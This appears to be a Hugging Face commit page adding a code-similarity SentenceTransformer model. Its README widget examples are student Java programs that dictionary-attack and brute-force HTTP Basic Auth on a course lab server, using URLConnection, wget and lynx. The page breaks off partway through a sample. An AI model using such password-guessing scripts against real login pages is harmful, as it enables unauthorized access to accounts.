Add new SentenceTransformer model
Browse files- 1_Pooling/config.json +10 -0
- README.md +1026 -0
- config.json +28 -0
- config_sentence_transformers.json +10 -0
- merges.txt +0 -0
- model.safetensors +3 -0
- modules.json +14 -0
- sentence_bert_config.json +4 -0
- special_tokens_map.json +51 -0
- tokenizer.json +0 -0
- tokenizer_config.json +58 -0
- vocab.json +0 -0
1_Pooling/config.json
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"word_embedding_dimension": 768,
|
3 |
+
"pooling_mode_cls_token": false,
|
4 |
+
"pooling_mode_mean_tokens": true,
|
5 |
+
"pooling_mode_max_tokens": false,
|
6 |
+
"pooling_mode_mean_sqrt_len_tokens": false,
|
7 |
+
"pooling_mode_weightedmean_tokens": false,
|
8 |
+
"pooling_mode_lasttoken": false,
|
9 |
+
"include_prompt": true
|
10 |
+
}
|
README.md
ADDED
@@ -0,0 +1,1026 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
---
|
2 |
+
tags:
|
3 |
+
- sentence-transformers
|
4 |
+
- sentence-similarity
|
5 |
+
- feature-extraction
|
6 |
+
- generated_from_trainer
|
7 |
+
- dataset_size:33411
|
8 |
+
- loss:SoftmaxLoss
|
9 |
+
base_model: microsoft/unixcoder-base-unimodal
|
10 |
+
widget:
|
11 |
+
- source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\
|
12 |
+
public class Dictionary\n{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
13 |
+
;\n private static String password;\n private static int length; \
|
14 |
+
\ \n private static int t_counter; \n private static int f_counter;\
|
15 |
+
\ \n \n private static int respCode;\
|
16 |
+
\ \n private static BufferedReader buf; \n\n public Dictionary()\n\
|
17 |
+
\ {\n FileReader fRead;\n Authenticator.setDefault(new DictionaryAuthenticator());\n\
|
18 |
+
\ t_counter = 0;\n f_counter = 0;\n length = 0;\n\n try\n\
|
19 |
+
\ {\n fRead = new FileReader(\"/usr/share/lib/dict/words\");\n \
|
20 |
+
\ buf = new BufferedReader(fRead);\n }\n catch (FileNotFoundException\
|
21 |
+
\ e)\n {\n System.out.println(\"File not found\");\n }\n }\n\
|
22 |
+
\n public static void main(String[] args)\n {\n Dictionary dict = new\
|
23 |
+
\ Dictionary();\n String file = \" \";\n while(respCode != 200 )\n \
|
24 |
+
\ {\n file = dict.fetchURL();\n }\n System.out.println(\"\
|
25 |
+
Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\
|
26 |
+
\ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\
|
27 |
+
\ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\
|
28 |
+
\ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\
|
29 |
+
\ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
|
30 |
+
\ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\
|
31 |
+
\ BufferedReader in = \n new BufferedReader (new InputStreamReader\
|
32 |
+
\ (content));\n String line;\n while ((line = in.readLine()) !=\
|
33 |
+
\ null) \n {\n pw.println(line);\n }\n } catch\
|
34 |
+
\ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\
|
35 |
+
\ sw.toString();\n }\n \n class DictionaryAuthenticator extends\
|
36 |
+
\ Authenticator \n {\n private String username = \"\";\n\n protected\
|
37 |
+
\ PasswordAuthentication getPasswordAuthentication()\n {\n return\
|
38 |
+
\ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\
|
39 |
+
\ char[] generatePassword()\n {\n String word = null;\n int\
|
40 |
+
\ chars;\n char c[] = null;\n \n chars = 0;\n \n \
|
41 |
+
\ if(f_counter == 0) \n \n \n { \n try\n \
|
42 |
+
\ {\n \n {\n word = buf.readLine();\n\
|
43 |
+
\ if(word != null)\n {\n \
|
44 |
+
\ length = word.length();\n chars = 0;\n \
|
45 |
+
\ for(int i=0; i<length; i++)\n {\n \
|
46 |
+
\ if(Character.isLetter(word.charAt(i))) chars++;\n }\n\
|
47 |
+
\ }\n }\n while( word != null &&\
|
48 |
+
\ (length > 3 || chars != length));\n\n }\n catch (IOException\
|
49 |
+
\ ioe)\n {\n System.out.println(\"IO Error: \" + ioe);\n\
|
50 |
+
\ }\n\n if(word != null)\n {\n \
|
51 |
+
\ c = word.toCharArray(); \n password = new String(c);\n \
|
52 |
+
\ } \n else\n {\n System.out.println(\"\
|
53 |
+
\ more words in dictionary\");\n System.exit(0);\n }\n\
|
54 |
+
\n f_counter++;\n } \n else\n \n {\n\
|
55 |
+
\ c = password.toCharArray(); \n for(int i=0; i< length;\
|
56 |
+
\ i++)\n {\n if(Character.isLowerCase(c[i]))\n \
|
57 |
+
\ {\n c[i] = Character.toUpperCase(c[i]);\n \
|
58 |
+
\ }\n else\n {\n c[i] = Character.toLowerCase(c[i]);\n\
|
59 |
+
\ }\n }\n password = new String(c);\n \
|
60 |
+
\ f_counter = 0;\n }\n\n t_counter++;\n\n return\
|
61 |
+
\ c;\n }\n }\n}\n"
|
62 |
+
sentences:
|
63 |
+
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
|
64 |
+
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
|
65 |
+
\ String pass = new String();\n String UserPass = new String();\n String status\
|
66 |
+
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
|
67 |
+
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
|
68 |
+
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
|
69 |
+
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
|
70 |
+
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
|
71 |
+
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
|
72 |
+
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
|
73 |
+
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
|
74 |
+
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
|
75 |
+
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
|
76 |
+
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
|
77 |
+
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
|
78 |
+
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
|
79 |
+
\ is \" + pass);\n end=System.currentTimeMillis();\n \
|
80 |
+
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
|
81 |
+
\ + \" secs\");\n System.exit(0);\n }\n \
|
82 |
+
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
|
83 |
+
\ }\n\n System.out.println(\" match found\");\n\n \
|
84 |
+
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
|
85 |
+
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
|
86 |
+
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
|
87 |
+
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
|
88 |
+
- "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
|
89 |
+
{\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
|
90 |
+
\ static void main(String[] args) throws IOException\n {\n BruteForce bf=new\
|
91 |
+
\ BruteForce();\n System.out.println(\" cracking...\");\n time1=new Date().getTime();\n\
|
92 |
+
\ bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
|
93 |
+
Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n System.out.println(\"\
|
94 |
+
costs \"+(time2-time1)+\" milliseconds\");\n System.exit(1);\n }\n\n void doBruteForce(int\
|
95 |
+
\ time1) throws IOException\n {\n passwd=new char[3];\n Runtime rt=Runtime.getRuntime();\n\
|
96 |
+
\ num=0;\n for(int i=(int)'z';i>=(int)'A';i--)\n {\n if(i==96)\n i=90;\n\
|
97 |
+
\ passwd[0]=(char)i;\n for(int j=(int)'z';j>=(int)'A';j--)\n {\n \
|
98 |
+
\ if(j==96)\n j=90;\n passwd[1]=(char)j;\n for(int k=(int)'z';k>=(int)'A';k--)\n\
|
99 |
+
\ {\n if(k==96)\n k=90;\n passwd[2]=(char)k;\n String\
|
100 |
+
\ password=new String(passwd);\n\t\t\ttry\n {\n\t\t\t\tnum++;\n\n\t\t\t\t\
|
101 |
+
\n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
102 |
+
);\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
|
103 |
+
\t p.destroy();\n\n\t\t\t\tif(ln!=null)\n \n if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
|
104 |
+
\ {\n\n System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
|
105 |
+
Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
|
106 |
+
password is \"+password);\n time2=new Date().getTime();\n System.out.println(\"\
|
107 |
+
costs \"+(time2-time1)+\" milliseconds\");\n System.out.println(\"The\
|
108 |
+
\ number of attempts is \"+num);\n\t\t System.exit(1);\n }\n \
|
109 |
+
\ \n \n\n } catch (FileNotFoundException exc) {\n System.out.println\
|
110 |
+
\ (\"File Not Found\");\n\t\t\t\tk++;\n } catch (IOException exc) {\n\t\t\
|
111 |
+
\ System.out.println (\"IOException\");\n k++;\n } catch (NullPointerException\
|
112 |
+
\ exc) {\n\t\t System.out.println (\"NullPointerException\");\n k++;\n\
|
113 |
+
\t \t}\n\n }\n }\n }\n }\n}\n"
|
114 |
+
- "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
|
115 |
+
{\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
|
116 |
+
\ static void main(String[] args) throws IOException\n {\n BruteForce bf=new\
|
117 |
+
\ BruteForce();\n System.out.println(\" cracking...\");\n time1=new Date().getTime();\n\
|
118 |
+
\ bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
|
119 |
+
Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n System.out.println(\"\
|
120 |
+
costs \"+(time2-time1)+\" milliseconds\");\n System.exit(1);\n }\n\n void doBruteForce(int\
|
121 |
+
\ time1) throws IOException\n {\n passwd=new char[3];\n Runtime rt=Runtime.getRuntime();\n\
|
122 |
+
\ num=0;\n for(int i=(int)'z';i>=(int)'A';i--)\n {\n if(i==96)\n i=90;\n\
|
123 |
+
\ passwd[0]=(char)i;\n for(int j=(int)'z';j>=(int)'A';j--)\n {\n \
|
124 |
+
\ if(j==96)\n j=90;\n passwd[1]=(char)j;\n for(int k=(int)'z';k>=(int)'A';k--)\n\
|
125 |
+
\ {\n if(k==96)\n k=90;\n passwd[2]=(char)k;\n String\
|
126 |
+
\ password=new String(passwd);\n\t\t\ttry\n {\n\t\t\t\tnum++;\n\n\t\t\t\t\
|
127 |
+
\n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
128 |
+
);\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
|
129 |
+
\t p.destroy();\n\n\t\t\t\tif(ln!=null)\n \n if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\
|
130 |
+
\ {\n\n System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"\
|
131 |
+
Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"\
|
132 |
+
password is \"+password);\n time2=new Date().getTime();\n System.out.println(\"\
|
133 |
+
costs \"+(time2-time1)+\" milliseconds\");\n System.out.println(\"The\
|
134 |
+
\ number of attempts is \"+num);\n\t\t System.exit(1);\n }\n \
|
135 |
+
\ \n \n\n } catch (FileNotFoundException exc) {\n System.out.println\
|
136 |
+
\ (\"File Not Found\");\n\t\t\t\tk++;\n } catch (IOException exc) {\n\t\t\
|
137 |
+
\ System.out.println (\"IOException\");\n k++;\n } catch (NullPointerException\
|
138 |
+
\ exc) {\n\t\t System.out.println (\"NullPointerException\");\n k++;\n\
|
139 |
+
\t \t}\n\n }\n }\n }\n }\n}\n"
|
140 |
+
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\
|
141 |
+
\npublic class Dictionary\n{\n public static void main(String args[])\n {\n\
|
142 |
+
\ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
|
143 |
+
\ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
|
144 |
+
\ String s = null;\n int num_tries = 0;\n \n try\n {\n\
|
145 |
+
\ \n BufferedReader dict_word = new BufferedReader\n \
|
146 |
+
\ (new FileReader (DICT_FILE));\n \n \n \
|
147 |
+
\ while((password = dict_word.readLine())!= null)\n { \n \
|
148 |
+
\ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
|
149 |
+
wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
|
150 |
+
\ \n BufferedReader stdInput = new BufferedReader(new \n \
|
151 |
+
\ InputStreamReader(p.getInputStream()));\n\n \
|
152 |
+
\ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
|
153 |
+
\n \n while ((s = stdInput.readLine()) != null)\n\
|
154 |
+
\ {\n System.out.println(s);\n }\n\
|
155 |
+
\ \n \n while ((s = stdError.readLine())\
|
156 |
+
\ != null)\n {\n System.out.println(s);\n \
|
157 |
+
\ }\n\n try\n\t {\n p.waitFor();\
|
158 |
+
\ \n }\n catch (InterruptedException g) \n \
|
159 |
+
\ {\n } \n\n num_tries++;\n \
|
160 |
+
\ \n if((p.exitValue()) == 0) \n { \n \
|
161 |
+
\ System.out.println(\"**********PASSWORD IS: \" + password);\n\
|
162 |
+
\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
|
163 |
+
\ System.exit(1);\n }\n }\n \
|
164 |
+
\ catch (IOException e)\n {\n System.out.println(\"\
|
165 |
+
exception happened - here's what I know: \");\n e.printStackTrace();\n\
|
166 |
+
\ System.exit(-1);\n }\n }\n \n \
|
167 |
+
\ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
|
168 |
+
\ System.out.println(\"**********Sorry, password was not found in dictionary\
|
169 |
+
\ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
|
170 |
+
\ exception)\n {\n System.out.println(exception);\n }\n \
|
171 |
+
\ catch (IOException exception)\n {\n System.out.println(exception);\n\
|
172 |
+
\ }\n }\n}\n \n"
|
173 |
+
sentences:
|
174 |
+
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
|
175 |
+
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
|
176 |
+
\ String pass = new String();\n String UserPass = new String();\n String status\
|
177 |
+
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
|
178 |
+
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
|
179 |
+
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
|
180 |
+
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
|
181 |
+
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
|
182 |
+
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
|
183 |
+
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
|
184 |
+
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
|
185 |
+
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
|
186 |
+
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
|
187 |
+
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
|
188 |
+
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
|
189 |
+
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
|
190 |
+
\ is \" + pass);\n end=System.currentTimeMillis();\n \
|
191 |
+
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
|
192 |
+
\ + \" secs\");\n System.exit(0);\n }\n \
|
193 |
+
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
|
194 |
+
\ }\n\n System.out.println(\" match found\");\n\n \
|
195 |
+
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
|
196 |
+
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
|
197 |
+
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
|
198 |
+
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
|
199 |
+
- "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
|
200 |
+
\ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
|
201 |
+
\ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
|
202 |
+
\ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
|
203 |
+
\ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
|
204 |
+
\ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
|
205 |
+
\ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
|
206 |
+
\ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
|
207 |
+
\ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
|
208 |
+
\ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
|
209 |
+
\ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
|
210 |
+
\ {\n String s1 = new StringBuffer().append( letters[i]).append(\
|
211 |
+
\ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
|
212 |
+
\ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
|
213 |
+
\ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
|
214 |
+
\ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
|
215 |
+
\ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
|
216 |
+
\ \n for( i = 0; i < letters.length; i++)\n {\n String\
|
217 |
+
\ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
|
218 |
+
\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
|
219 |
+
\ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
|
220 |
+
\ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
|
221 |
+
\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
|
222 |
+
\ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
|
223 |
+
\ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
|
224 |
+
\ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
|
225 |
+
\ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
|
226 |
+
\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
|
227 |
+
\ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
|
228 |
+
\ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
|
229 |
+
\ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
|
230 |
+
\ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
|
231 |
+
\ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
|
232 |
+
\ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
|
233 |
+
\ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
|
234 |
+
\ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
|
235 |
+
\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
|
236 |
+
\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
|
237 |
+
\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
|
238 |
+
\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
|
239 |
+
\ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
|
240 |
+
\ }\n }\n \n public static void main( String[] args)\n {\n\
|
241 |
+
\ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
|
242 |
+
\ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
|
243 |
+
